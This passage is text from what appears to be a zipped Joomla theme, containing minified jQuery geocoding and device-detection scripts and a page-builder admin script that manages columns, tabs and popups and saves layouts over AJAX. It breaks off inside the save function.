google.maps.LatLng&&(b=a),b&&(this.map&&this.map.setCenter(b),this.marker&&this.marker.setPosition(b))}},find:function(a){this.geocode({address:a||this.$input.val()})},geocode:function(b){this.options.bounds&&!b.bounds&&(b.bounds=this.options.bounds===!0?this.map&&this.map.getBounds():this.options.bounds),this.options.country&&(b.region=this.options.country),this.geocoder.geocode(b,a.proxy(this.handleGeocode,this))},handleGeocode:function(a,b){if(b===google.maps.GeocoderStatus.OK){var c=a[0];this.$input.val(c.formatted_address),this.update(c),a.length>1&&this.trigger("geocode:multiple",a)}else this.trigger("geocode:error",b)},trigger:function(a,b){this.$input.trigger(a,[b])},center:function(a){a.viewport?(this.map.fitBounds(a.viewport),this.map.getZoom()>this.options.maxZoom&&this.map.setZoom(this.options.maxZoom)):(this.map.setZoom(this.options.maxZoom),this.map.setCenter(a.location)),this.marker&&(this.marker.setPosition(a.location),this.marker.setAnimation(this.options.markerOptions.animation))},update:function(a){this.map&&this.center(a.geometry),this.$details&&this.fillDetails(a),this.trigger("geocode:result",a)},fillDetails:function(b){var c={},d=b.geometry,e=d.viewport,f=d.bounds;a.each(b.address_components,function(a,b){var d=b.types[0];c[d]=b.long_name,c[d+"_short"]=b.short_name}),a.each(g,function(a,d){c[d]=b[d]}),a.extend(c,{formatted_address:b.formatted_address,location_type:d.location_type||"PLACES",viewport:e,bounds:f,location:d.location,lat:d.location.lat(),lng:d.location.lng()}),a.each(this.details,a.proxy(function(a,b){var d=c[a];this.setDetail(b,d)},this)),this.data=c},setDetail:function(a,b){b===d?b="":"function"==typeof b.toUrlValue&&(b=b.toUrlValue()),a.is(":input")?a.val(b):a.text(b)},markerDragged:function(a){this.trigger("geocode:dragged",a.latLng)},mapClicked:function(a){this.trigger("geocode:click",a.latLng)},resetMarker:function(){this.marker.setPosition(this.data.location),this.setDetail(this.details.lat,this.data.location.lat()),this.setDetail(this.details.lng,this.data.location.lng())},placeChanged:function(){var a=this.autocomplete.getPlace();a.geometry?this.update(a):this.find(a.name)}}),a.fn.geocomplete=function(b){var c="plugin_geocomplete";if("string"==typeof b){var d=a(this).data(c)||a(this).geocomplete().data(c),e=d[b];return"function"==typeof e?(e.apply(d,Array.prototype.slice.call(arguments,1)),a(this)):(2==arguments.length&&(e=arguments[1]),e)}return this.each(function(){var d=a.data(this,c);d||(d=new h(this,b),a.data(this,c,d))})}})(jQuery,window,document);
PK!ܿ�-
-
!bluetheme/assets/js/device.min.jsnu&1i�/*! device.js 0.1.57 */
(function(){var a,b,c,d,e,f,g,h,i;window.device={},b=window.document.documentElement,i=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()||device.ipod()||device.ipad()},device.iphone=function(){return c("iphone")},device.ipod=function(){return c("ipod")},device.ipad=function(){return c("ipad")},device.android=function(){return c("android")},device.androidPhone=function(){return device.android()&&c("mobile")},device.androidTablet=function(){return device.android()&&!c("mobile")},device.blackberry=function(){return c("blackberry")||c("bb10")||c("rim")},device.blackberryPhone=function(){return device.blackberry()&&!c("tablet")},device.blackberryTablet=function(){return device.blackberry()&&c("tablet")},device.windows=function(){return c("windows")},device.windowsPhone=function(){return device.windows()&&c("phone")},device.windowsTablet=function(){return device.windows()&&c("touch")},device.fxos=function(){return c("(mobile; rv:")||c("(tablet; rv:")},device.fxosPhone=function(){return device.fxos()&&c("mobile")},device.fxosTablet=function(){return device.fxos()&&c("tablet")},device.mobile=function(){return device.androidPhone()||device.iphone()||device.ipod()||device.windowsPhone()||device.blackberryPhone()||device.fxosPhone()},device.tablet=function(){return device.ipad()||device.androidTablet()||device.blackberryTablet()||device.windowsTablet()||device.fxosTablet()},device.portrait=function(){return 90!==Math.abs(window.orientation)},device.landscape=function(){return 90===Math.abs(window.orientation)},c=function(a){return-1!==i.indexOf(a)},e=function(a){var c;return c=new RegExp(a,"i"),b.className.match(c)},a=function(a){return e(a)?void 0:b.className+=" "+a},g=function(a){return e(a)?b.className=b.className.replace(a,""):void 0},device.ios()?device.ipad()?a("ios ipad tablet"):device.iphone()?a("ios iphone mobile"):device.ipod()&&a("ios ipod mobile"):device.android()?device.androidTablet()?a("android tablet"):a("android mobile"):device.blackberry()?device.blackberryTablet()?a("blackberry tablet"):a("blackberry mobile"):device.windows()?device.windowsTablet()?a("windows tablet"):device.windowsPhone()?a("windows mobile"):a("desktop"):device.fxos()?device.fxosTablet()?a("fxos tablet"):a("fxos mobile"):a("desktop"),d=function(){return device.landscape()?(g("portrait"),a("landscape")):(g("landscape"),a("portrait"))},h="onorientationchange"in window,f=h?"orientationchange":"resize",window.addEventListener?window.addEventListener(f,d,!1):window.attachEvent?window.attachEvent(f,d):window[f]=d,d()}).call(this);PK!�O6�H�H-bluetheme/assets/js/plugin-design_1.backup.jsnu&1i�/*! Plugin Design - v1.0
* http://shinetheme.com
* author 	:Pham Tien Duc
* email 	:ducphamtien@gmail.com
* Copyright 2013  */
//encodeURIComponent
//decodeURIComponent
var arrayType;
var data_ele;
jQuery(document).ready(function(){
	addEventPopup();
	jQuery('#pageconfig-submit').click(function(){
		jQuery.stbox.close();
	});
	arrayType=jQuery.parseJSON(decodeURIComponent(jQuery('#st-arrName').attr("data")));
	if(jQuery('#st-page>li').length>0){
		jQuery('#st-page>li').each(function(){
			if(jQuery(this).hasClass("st-column")){
				jQuery(this).removeClass("st-column").addClass("st-column-container");
				AddColumn(this);
				data = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")));
				ColumnDesign(this,data.content);
			}else if(jQuery(this).hasClass("st-tabs")){
				jQuery(this).removeClass("st-tabs").addClass("st-tabs-container");
				AddTab(this);
				data = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")));
				TabsDesign(this,data.content);
			}
		});
		AddEvent();
	}
	jQuery('#st-page li').removeClass("btn");
	addsort();
	jQuery( "#draggable li" ).draggable({
		connectToSortable: ".sortable",
		appendTo: "body",
		placeholder: 'placeholder',
		helper: "clone",
		revert: "invalid"
	});
	// Remove action button toolbar default Joomla
	jQuery("#toolbar button").removeAttr("onclick");
	// Add Event Save
	buttonsave();
	// Append Input Name to Toolbar
	jQuery(".namepage .st-namepage").appendTo("#toolbar");
	jQuery('#toolbar-cancel').click(function(){
		window.location="index.php?option=com_stpagebuilder";
	});
	setTitleModule();
	duplicateItem();
});

function duplicateItem(){
	jQuery('#st-page .st-duplicate').unbind('click');
	jQuery('#st-page .st-duplicate').click(function(){
		var item = jQuery(this).parent().parent();
		//console.log(item.attr('tabs_desi'));
		if(item.attr('data-type')=='tabs_desi'){
			var selectab = item.find('.nav-tabs');
			var oldtabid = selectab.attr("id").split('-')[1];
			var tabid =makeid();
			var myid = selectab.attr("id").split('-')[0]+'-'+tabid;
			item.after('<li data-type="'+item.attr('data-type')+'" data="'+item.attr('data')+'" class="'+item.attr('class')+'" style="display:block;">'+item.html()+'</li>');
			var itemnew = item.next();
			var lengtab = itemnew.find('.tab-content .tab-pane').length;
			itemnew.find('.nav-tabs').attr('id',myid).find('>li').each(function(index, el) {
				if(index<lengtab){
					jQuery(this).find('a').attr('href','#'+myid+'-'+index);
					jQuery(itemnew.find('.tab-content .tab-pane')[index]).attr('id',myid+'-'+index);
					var idinput = jQuery(this).find('a .input-edittab').attr('id');
					var idinput = idinput.replace(oldtabid,tabid);
					jQuery(this).find('a .input-edittab').attr('id',idinput);
				}
			});
			addEventTab(tabid);
		}else{
			item.after('<li data-type="'+item.attr('data-type')+'" data="'+item.attr('data')+'" class="'+item.attr('class')+'" style="display:block;">'+item.html()+'</li>');
		}
		AddEvent();
		changeColumn();
	});
	
}
// AddEvent 
function AddEvent(){
	// add event data
	duplicateItem();
	jQuery('#st-page li .st-edit').bind('click',function(){
		jQuery('#st-page li').removeClass("st-focus");
		select = jQuery(this).closest('li');
		select.addClass("st-focus");
		data_ele = jQuery.parseJSON(decodeURIComponent(select.attr("data")));
		switch(data_ele.type){
			case "contact_desi":
				getContactOption(data_ele);
				break;
			case "gallery_desi":
				getGalleryOption(data_ele);
				break;
			case "vimeo_desi":
				getVimeoOption(data_ele);
				break;
			case "youtube_desi":
				getYoutubeOption(data_ele);
				break;
			case "alert_desi":
				getMessageBoxOption(data_ele);
				break;
			case "recent_article_desi":
				getArticleRecentOption(data_ele);
				break;
			case "article_box_desi":
				getArticleBoxOption(data_ele);
				break;
			case "moduleid_desi":
				getModuleOption(data_ele);
				break;
			case "divider_desi":
				getDividerOption(data_ele);
				break;
			case "tabs_desi":
				getTabsOption(data_ele);
				break;
			case "flickr_desi":
			    getFlickrOption(data_ele);	
			    break;
			case "fb_likebox_desi":
			    getFb_likbeboxOption(data_ele);
			    break;
			case "slider_desi":
			    getSliderOption(data_ele);
			    break; 
			case "gmap_desi":
				getGmapOption(data_ele);
				break;
			case "html_desi":
				getHtmlOption(data_ele);
				break;
			case "columns_desi":
				getColumDesignOption(data_ele);
				break;
			case "portfolio_desi":
				getPortfolioOption(data_ele);
				break;
			default:
				break;
		}
	});
	//add event close item
	jQuery('#st-page .st-close').bind('click',function(e){
		jQuery(this).closest('li').remove();
	});

	//add event close item
	jQuery('#st-page .st-hide').toggle(function(){
		var sele =jQuery(this).closest('li');
		sele.find('.st-columns').addClass('none');
		sele.find('.column-button-group').addClass("none");
		sele.find('.st-tabitems').addClass("none");
	},function(){
		var sele =jQuery(this).closest('li');
		sele.find('.st-columns').removeClass('none');
		sele.find('.column-button-group').removeClass("none");
		sele.find('.st-tabitems').removeClass("none");
	});
}


function setTitleModule(){
	jQuery('#st-page li').each(function(){
		if(jQuery(this).hasClass('st-module')){
			var title = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr('data'))).attr.title;
			jQuery(this).find('.st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');
		}
	});
}

function makeid()
{
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

    for( var i=0; i < 5; i++ )
        text += possible.charAt(Math.floor(Math.random() * possible.length));
    return text;
}
// Add Event sorttable
function addsort(){
	jQuery( ".sortable" ).sortable({
		connectToSortable: "#draggable",
		connectWith:".sortable",
		appendTo: "body",
		placeholder: 'placeholder',
	    revert: true,
	    receive: function(event, ui) {
      		AddEvent(); // add Event 
      		//duplicateItem();
        },
        start: function( event, ui ) {
        	if(jQuery(ui.item).hasClass("st-column-container")){
        		jQuery(ui.item).find('.st-columns').hide();
        		jQuery(ui.item).find('.btn-group').hide();
        		jQuery(ui.item).css('height','40');
        	}else if(jQuery(ui.item).hasClass("st-tabs-container")){
        		 jQuery(ui.item).find('.st-tabitems').hide();
        		 jQuery(ui.item).css('height','40');
        	}
        },
        stop: function( event, ui ) {
        	if(ui.item.hasClass("st-column")){
        		jQuery(ui.item).removeClass("st-column").addClass("st-column-container");
        		//jQuery(ui.item).find('.st-edit').remove();
	    		AddColumn(ui.item);
	    	}
	    	else if(ui.item.hasClass("st-tabs")){
	    		jQuery(ui.item).removeClass("st-tabs").addClass("st-tabs-container");
	    		AddTab(ui.item);
	    	}else if(ui.item.hasClass("st-column-container")){
	    		jQuery(ui.item).find('.st-columns').show();
        		jQuery(ui.item).find('.btn-group').show();
        		jQuery(ui.item).css('height','auto');
	    	}else if(jQuery(ui.item).hasClass("st-tabs-container")){
	    		jQuery(ui.item).find('.st-tabitems').show();
        		jQuery(ui.item).css('height','auto');
	    	}
        }
	});
}


function addsortSub(){
	jQuery( ".sortable" ).sortable({
		connectToSortable: "#draggable",
		connectWith:".sortable",
		appendTo: "body",
		placeholder: 'placeholder',
	    revert: true,
	    receive: function(event, ui) {
      		AddEvent(); // add Event 
        },
        stop: function( event, ui ) {
        	if(ui.item.hasClass("st-column")){
        		jQuery(ui.item).remove();
        		alert('no support');
	    	}
	    	ui.item.removeClass("btn");
        }
	});
}


function addEventPopup(){
	jQuery('.stmodal').stbox({
		padding     :0,
		openEffect	: 'elastic',
		closeEffect	: 'elastic',
		helpers : {
			overlay:{
				closeClick :false,
				speedOut   : 200
			},
			title:null
		},
		closeBtn : false,
		autoSize : false,
		beforeLoad  :function(){
			var typepopup =jQuery(this.element).attr("data-type");
			switch(typepopup){
				case "portfolio_desi":
					this.width=320;
					this.height=320;
					break;
				case "page-config":
					this.width=300;
					this.height=300;
					break;
				case "contact_desi":
					this.width=350;
					this.height=320;
					break;
				case "columns_desi":
					this.width=300;
					this.height=310;
					break;
				case "html_desi":
					this.height=490;
					break;
				case "youtube_desi":
					this.width=350;
					this.height=205;
					break;
				case "vimeo_desi":
					this.width=350;
					this.height=205;
					break;
				case "moduleid_desi":
					this.width=290;
					this.height=320;
					break;
				case "alert_desi":
					this.width=400;
					this.height=420;
					jQuery(this.content).find('.st-nav-option').css({height:"330"});
					break;
				case "article_box_desi":
					this.width=350;
					this.height=330;
					break;
				case "recent_article_desi":
					this.width=500;
					this.height=470;
					jQuery(this.content).find('.st-nav-option').css({height:"380"});
					break;
				case "tabs_desi":
					this.width=280;
					this.height=200;
					break;
				case "divider_desi":
					this.width=300;
					this.height=262;
					break;
				case "flickr_desi":
					this.width=350;
					this.height=390;
					break;
				case "fb_likebox_desi":
					this.width=450;
					this.height=420;
					jQuery(this.content).find('.st-nav-option').css({height:"330"});
					break;
				case "slider_desi":
					this.width=800;
					this.height=650;
					break;
				case "gallery_desi":
					this.width=800;
					this.height=650;
					break;
			}
		},
		afterLoad:function(){
			var typepopup =jQuery(this.element).attr("data-type");
			switch(typepopup){
				case "moduleid_desi":
					jQuery('#st-element-modules').appendTo(".st-navigation .st-listmodule");
					checkList('id','#jform_modules');
					break;
				case "article_box_desi":
					//load combobox article
					if(jQuery('.st-navigation .st-extension').val()=='com_k2'){
						jQuery('#st-element #st-element-k2contents').appendTo(".st-navigation .st-article");
						checkList('article_id','#jform_k2contents');
					}else{
						jQuery('#st-element #st-element-contents').appendTo(".st-navigation .st-article");
						checkList('article_id','#jform_contents');
					}
					break;
				case "recent_article_desi":
					jQuery('#st-element #st-element-k2category').appendTo(".st-navigation .st-category");
					checkList('category_id','#jformk2category');
					break;
				case "gallery_desi":
					var link = jQuery("#st-navigation .st-path").val();
					loadImages(link);
					break;
				case "slider_desi":
					var link = jQuery("#st-navigation .st-path").val();
					loadImages(link);
					break;
				case "gmap_desi":
					jQuery('#st-element-map').appendTo("#st-navigation .st-loadgmap");
					var dt = jQuery.parseJSON(decodeURIComponent(jQuery(this.element).parent().parent().attr("data")));
					//console.log(dt)
					addGmap(dt.attr.latitude,dt.attr.longitude);
					jQuery('#st-navigation .st-lnggmap').val(dt.attr.longitude);
					jQuery('#st-navigation .st-latgmap').val(dt.attr.latitude);
					break;
				case "portfolio_desi":
					jQuery('#st-element #st-element-k2category').appendTo(".st-navigation .st-category");
					checkList('id','#jformk2category');
					break;
				case "html_desi":
					//getEditor();
					break;
			}
			jQuery(this.content).find('.btn-cancel').click(function(){
				jQuery.stbox.close();
			});
			jQuery(this.content).find('.st-nav-title .icon-cancel-circle').click(function(){
				jQuery.stbox.close();
			});
		},
		beforeClose:function(){
			var typepopup =jQuery(this.element).attr("data-type");
			switch(typepopup){
				case "moduleid_desi":
					jQuery(this.content).find('#st-element-modules').appendTo("#st-element");
					break;
				case "article_box_desi":
					jQuery(this.content).find('#st-element-k2contents').appendTo("#st-element");
					jQuery(this.content).find('#st-element-contents').appendTo("#st-element");
					break;
				case "recent_article_desi":
					jQuery(this.content).find('#st-element-k2category').appendTo("#st-element");
					jQuery(this.content).find('#st-element-category').appendTo("#st-element");
					break;
				case "gmap_desi":
					jQuery(this.content).find('#st-element-map').appendTo("#st-element");
					break;
				case "portfolio_desi":
					jQuery(this.content).find('#st-element-k2category').appendTo("#st-element");
					break;
			}
			jQuery('#st-navigation').html("");
		}
	});
}

function checkList(id,sle){
	if(typeof(data_ele.attr[id])!='undefined'){
		jQuery('.st-navigation '+sle).val(data_ele.attr[id]);
		jQuery('.st-navigation  '+sle+' option[value='+data_ele.attr[id]+']').attr('selected','selected');
		var sele = jQuery('.st-navigation  '+sle+' option[value='+data_ele.attr[id]+']').text();
		jQuery('.st-navigation .chzn-container .chzn-single>span').text(sele);
		jQuery('.st-navigation .chzn-container .chzn-results li').removeClass("result-selected");
		jQuery('.st-navigation .chzn-container .chzn-results li').each(function(){
			if(jQuery(this).text()==sele){
				jQuery(this).addClass("result-selected ");
			}
		});
	}
}



// AddColumn
function AddColumn(item){
	data = jQuery.parseJSON(decodeURIComponent(jQuery(item).attr("data")));
	content ='<div class="row-fluid st-columns">';
	for(i=0;i<data.content.length;i++){
		content+='<div class="span'+data.content[i].attr.col+'" index="'+i+'">';
		content+='<span class="st-changerow" href="#st-navigation" index="'+i+'"><i class="icon-cog-2"></i></span>';
		content+='<ul class="sortable sortable-column"></ul>';
		content+='</div>';
	}
	content+='</div>';
	content+='<div class="btn-group column-button-group">';
		for(i=1;i<=6;i++)
			content+='<span class="btn '+((i==data.content.length)?'btn-primary':'')+'">'+i+'</span>';
	content+='</div>';
	jQuery(item).append(content);
	changeColumn();
	addsort();
	changeSpan();
}

function changeSpan(){
	jQuery('.st-changerow').stbox({
		padding     : 0,
		openEffect	: 'elastic',
		closeEffect	: 'elastic',
		helpers : {
			overlay:{
			  	closeClick :false,
			  	speedOut   : 200
			},
			title:null
		},
		closeBtn : false,
		autoSize : false,
		beforeLoad:function(){
			this.width=350;
			this.height=445;
			var sele = jQuery(this.element).closest(".st-column-container");
			var data = jQuery.parseJSON(decodeURIComponent(sele.attr("data")));
			var index = jQuery(this.element).attr("index");
			content ="<div class='st-nav-title'><i class='icon-columns'></i> Column<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
			content+="<div class='st-nav-option'>";
				content+="<label>Large Column:</label>";
				content+="<div class='row-fluid'><select class='st-lg-col span12'>";
				for(i=1;i<=12;i++){
					content+='<option value="'+i+'">col-lg-'+i+'</option>';
				}
				content+="</select></div>";

				content+="<label>Medium Column:</label>";
				content+="<div class='row-fluid'><select class='st-md-col span12'>";
					content+='<option value="0">---- Auto -----</option>';
				for(i=1;i<=12;i++){
					content+='<option value="'+i+'">col-md-'+i+'</option>';
				}
				content+="</select></div>";

				content+="<label>Small Column:</label>";
				content+="<div class='row-fluid'><select class='st-sm-col span12'>";
					content+='<option value="0">---- Auto -----</option>';
				for(i=1;i<=12;i++){
					content+='<option value="'+i+'">col-sm-'+i+'</option>';
				}
				content+="</select></div>";

				content+="<label>Phone Column:</label>";
				content+="<div class='row-fluid'><select class='st-xs-col span12'>";
					content+='<option value="0">---- Auto -----</option>';
				for(i=1;i<=12;i++){
					content+='<option value="'+i+'">col-xs-'+i+'</option>';
				}
				content+="</select></div>";

				content+="<label>Class:</label>";
				content+="<div class='row-fluid'><input type='text' class='st-spanclass span12' value='"+((data.content[index].attr.class==null)?"":data.content[index].attr.class)+"'></div>";
				content+="<div class='st-button-group'>";
					content+="<button class='btn btn-primary btn-save'>Save</button>";
					content+="<button class='btn btn-cancel'>Cancel</button>";
				content+="</div>";
			content+="</div>";
			jQuery('.st-navigation').html(content);
			jQuery('.st-navigation .st-lg-col option[value="'+data.content[index].attr.col+'"]').attr("selected","selected");
			jQuery('.st-navigation .st-md-col option[value="'+data.content[index].attr.col_md+'"]').attr("selected","selected");
			jQuery('.st-navigation .st-sm-col option[value="'+data.content[index].attr.col_sm+'"]').attr("selected","selected");
			jQuery('.st-navigation .st-xs-col option[value="'+data.content[index].attr.col_xs+'"]').attr("selected","selected");
			jQuery('.st-navigation .btn-cancel').click(function(){
				jQuery.stbox.close();
			});
			jQuery('.st-navigation .icon-cancel-circle').click(function(){
				jQuery.stbox.close();
			});
			jQuery('.st-navigation .btn-primary.btn-save').click(function(){
				data.content[index].attr.col = jQuery('.st-navigation .st-lg-col').val();
				data.content[index].attr.col_md = jQuery('.st-navigation .st-md-col').val();
				data.content[index].attr.col_sm = jQuery('.st-navigation .st-sm-col').val();
				data.content[index].attr.col_xs = jQuery('.st-navigation .st-xs-col').val();
				data.content[index].attr.class=jQuery('.st-navigation .st-spanclass').val();
				sele.attr("data",encodeURIComponent(JSON.stringify(data)));
				sele.find('div[index="'+index+'"]').attr("class","").addClass("span"+jQuery('.st-navigation .st-lg-col').val());
				jQuery.stbox.close();
			});
		}
	});
}

function changeColumn(){
	jQuery('.column-button-group span.btn').unbind('click');
	jQuery('.column-button-group span.btn').bind('click',function(){
		if(!jQuery(this).hasClass("btn-primary")){
			var sl = jQuery(this).closest('div');
			sl.find('span.btn').removeClass("btn-primary");
			jQuery(this).addClass("btn-primary");
			var col = jQuery(this).text();
			var data = jQuery.parseJSON(decodeURIComponent(jQuery(jQuery(this).closest("li")).attr("data")));
			
			var loop = true;
			if(col==5) classspan=2;
			else classspan=(12/col);
			sl.prev().find('[class^="span"]').attr("class","span"+classspan);
			var len = data.content.length;
			if(col>data.content.length){
				// Add column
				for(i=0;i<(col-len);i++){
					var index = sl.prev().find('>[class^="span"]').length;
					sl.prev().append("<div class='span"+classspan+"' index='"+index+"'><span class='st-changerow' href='#st-navigation' index='"+index+"'><i class='icon-cog-2'></i></span><ul class='sortable sortable-column'></ul></div>");
					arr = {"type":"column_item_desi","content":"","attr":{"col":classspan,"col_md":"0","col_sm":"0","col_xs":"0"}};
					data.content.push(arr);
				}
			}else{
				//remove column
				for(i=0;i<(len-col);i++){
					sl.prev().find('[class^="span"]:last-child').remove();
					data.content.pop();
				}
			}
			for(i=0;i<data.content.length;i++){
				if(i==4 && data.content.length==5) data.content[i].attr.col=4;
				else data.content[i].attr.col=classspan;
			}
			if(col==5) sl.prev().find('>[index^="4"]').attr("class","span4");
			sl.parent().attr("data",encodeURIComponent(JSON.stringify(data)));
			addsort();
		}
	});
}

function getColumDesignOption(data){
	content ="<div class='st-nav-title'><i class='icon-columns'></i> Column<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-column'>";
		content+="<label>ID:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-id' value='"+((data.attr.id==null)?"":data.attr.id)+"' />";
		content+="</div>";
		content+="<label>Class:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-class' value='"+((data.attr.class==null)?"":data.attr.class)+"' />";
		content+="</div>";
		content+="<label>Full Width:</label>";
		content+="<div class='row-fluid'><div class='st-fullwidth st-radio'>"; 
			content+='<label class="radio inline"><input type="radio" name="st-fullwidth" value="1" checked="checked">Yes</label>';
			content+='<label class="radio inline"><input type="radio" name="st-fullwidth" value="0">No</label>';
		content+="</div></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	if(typeof data.attr.fullwidth !='undefined'){
		jQuery('#st-navigation .st-fullwidth [value="'+data.attr.fullwidth+'"]').prop('checked', true);
	}
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveColumnDesign(data);
	});
}

function saveColumnDesign(data){
	data.attr.id = jQuery.trim(jQuery('#st-navigation .column-id').val());
	data.attr.class = jQuery.trim(jQuery('#st-navigation .column-class').val());
	data.attr.fullwidth = jQuery('#st-navigation .st-fullwidth input[type="radio"]:checked').val();
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}

function ColumnDesign(sele,data){
	jQuery(sele).find('.sortable-column').each(function(index){
		for(i=0;i<data[index].content.length;i++){
			var html="";
			if(arrayType[data[index].content[i].type].type=="tabs_desi"){
				arrayType[data[index].content[i].type].class="st-tabs-container";
			}
			html+="<li data-type='"+arrayType[data[index].content[i].type].type+"' class='ui-state-highlight btn ui-draggable "+arrayType[data[index].content[i].type].class+"' style='display:block;' data=\""+encodeURIComponent(JSON.stringify(data[index].content[i]))+"\">";
			html+="<div class='st-header-title'>";
			html+="<span class='st-name'>"+arrayType[data[index].content[i].type].name+"</span> ";
			html+="<span href='#' class='st-close' title='Close'><i class='icon-cancel-circle'></i></span> ";
			html+="<span href='#st-navigation' data-type='"+arrayType[data[index].content[i].type].type+"' title='Edit' class='st-edit stmodal'><i class='icon-cog-2'></i></span>";
			if(arrayType[data[index].content[i].type].type=="tabs_desi"){
			html+='<span class="st-hide"><i class="icon-new-window"></i></span>';
			}else{
			
			}
			html+='<span href="#" class="st-duplicate" title="Duplicate"><i class="icon-copy"></i></span>';
			html+="</div>";
			if(data[index].content[i].type=='tabs_desi'){
				var id = makeid();
				html+='<div class="st-tabitems">';
					html+='<ul class="nav nav-tabs" id="myTab-'+id+'">';
					for(j=0;j<data[index].content[i].content.length;j++){
						html+='<li '+((j==0)?'class="active"':'')+'><a class="st-tab" href="#'+id+'-'+j+'" index="'+j+'" >'+data[index].content[i].content[j].attr.title;
							html+='<input index="'+j+'" class="input-edittab" type="text" id="myTab-input-'+id+'-'+j+'" value="'+data[index].content[i].content[j].attr.title+'" />'
							html+='<i class="icon-cancel-circle" title="close" index="#'+id+'-'+j+'"></i>';
						html+='</a></li>';
					}
						html+='<li><a class="newtab" href="#"><i class=" icon-plus"></i></a></li>';
					html+='</ul>';
					html+='<div class="tab-content">';
					for(j=0;j<data[index].content[i].content.length;j++){
						html+='<div class="tab-pane '+((j==0)?'active':'')+'" id="'+id+'-'+j+'"><ul class="sortable sortable-tabitem">';
						for(var k=0;k<data[index].content[i].content[j].content.length;k++){
							html+="<li data-type='"+data[index].content[i].content[j].content[k].type+"' class='ui-state-highlight btn ui-draggable "+arrayType[data[index].content[i].content[j].content[k].type].class+"' style='display:block;' data='"+encodeURIComponent(JSON.stringify(data[index].content[i].content[j].content[k]))+"'>";
								html+="<div class='st-header-title'>";
									html+="<span class='st-name'>"+arrayType[data[index].content[i].content[j].content[k].type].name+"</span> ";
									html+="<span href='#' class='st-close' title='Close'><i class='icon-cancel-circle'></i></span> ";
									html+="<span href='#st-navigation' data-type='"+data[index].content[i].content[j].content[k].type+"' title='Edit' class='st-edit stmodal'><i class='icon-cog-2'></i></span>";
								html+="</div>";
							html+="</li>";
						}
						html+='</ul></div>';
					}
					html+='</div>';
				html+='</div>';
			}
			html+="</li>";
			jQuery(this).append(html);
			jQuery('[id*="myTab"] a.newtab').click(function (e) {
				var array = jQuery(this).parent().prev().find('.input-edittab').attr('id').split("-");
				array[3]=(array[3]+1);
				jQuery(this).parent().before('<li class=""><a class="st-tab" href="#'+array[2]+'-'+array[3]+'"><span class="tabname">New Tab</span><input class="input-edittab" type="text" id="myTab-input-'+array[2]+'-'+array[3]+'" value="New Tab" /><i class="icon-cancel-circle" title="close" index="#'+array[2]+'-'+array[3]+'"></a></li>');
				jQuery(this).parent().parent().parent().find('.tab-content').append('<div class="tab-pane " id="'+array[2]+'-'+array[3]+'"><ul class="sortable sortable-tabitem ui-sortable"></ul></div>');
				addEventTab(array[2]);
				jQuery('#st-page #myTab-'+array[2]+' .input-edittab').hide();
				return false;
			});
			jQuery('[id*="myTab"] a.st-tab .icon-cancel-circle').click(function(){
				var sele = jQuery(this).attr('index');
				var count = jQuery(this).parent().parent().parent().find('>li').length;
				if(count==2){
					alert('Keep minimum 1 tab');
					return false;
				}else{
					jQuery(sele).remove();
					jQuery(this).parent().parent().remove();
					return false;
				}
			});
			jQuery('[id*="myTab"] a.st-tab').click(function (e) {
				e.preventDefault();
				jQuery(this).tab('show');
			});
			jQuery('[id*="myTab"] [id*="myTab-input"]').hide();
		}
	});
}

//////////////////////////////// Button ////////////////////////////////////
function appendDataColumn(sele){
	if(!sele.hasClass("st-column-container")){
		arr = [];
		sele.each(function(index){
			arr.push(jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data"))));
		});
		return arr;
	}else{
		data = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")));
		jQuery(this).find('.sortable-column').each(function(){
			var a = appendDataColumn(jQuery(this).find('>li'));
			data.content[index].content.push(a);
		});
		return data;
	}
}

function buttonsave(){
	jQuery("#toolbar-apply").click(function(){
		jQuery('#system-message-container').html("");
		name=jQuery("#toolbar #inputNamepage").val();
		if(name==""){
			alert("Name Page is not empty !");
			jQuery("#toolbar #inputNamepage").focus();
			return false;
		}
		arr = [];
		jQuery('#st-page>li').each(function(){
			if(jQuery(this).hasClass("st-column-container")){
				data = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")));
				jQuery(this).find('.sortable-column').each(function(index){
					var a = [];
					jQuery(this).find('>li').each(function(){
						if(jQuery(this).attr("data-type")=='tabs_desi'){
							jQuery(this).attr("data",saveTabOption(jQuery(this),jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")))));
						}
						a.push(jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data"))));
					});
					data.content[index].content = a;
				});
				jQuery(this).attr("data",encodeURIComponent(JSON.stringify(data)));
			}else if(jQuery(this).hasClass("st-tabs-container")){
				data = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")));
				jQuery(this).attr("data",saveTabOption(jQuery(this),data));
			}
			//jQuery('#st-debug').html();
			arr.push(jQuery(this).attr('data'));
		});
		json = JSON.stringify(arr);
		var config = {"id":jQuery.trim(jQuery('#page-id-config').val()),"class":jQuery.trim(jQuery('#page-class-config').val()),"fullwidth":jQuery('#page-fullwidth [name="page-fullwidth"]:checked').val()};
		
		jQuery.ajax({
			type:"POST",
			url:"index.php?option=com_stpagebuilder&task=page.stSave&tmpl=component",
			data:{data:json,id:jQuery('#stid').val(),name:name,config:JSON.stringify(config)},
			dataType : 'html',
			beforeSend :function(){
				ajaxbeforesend();
			},
			success:function(response){
				ajaxsuccess(response);
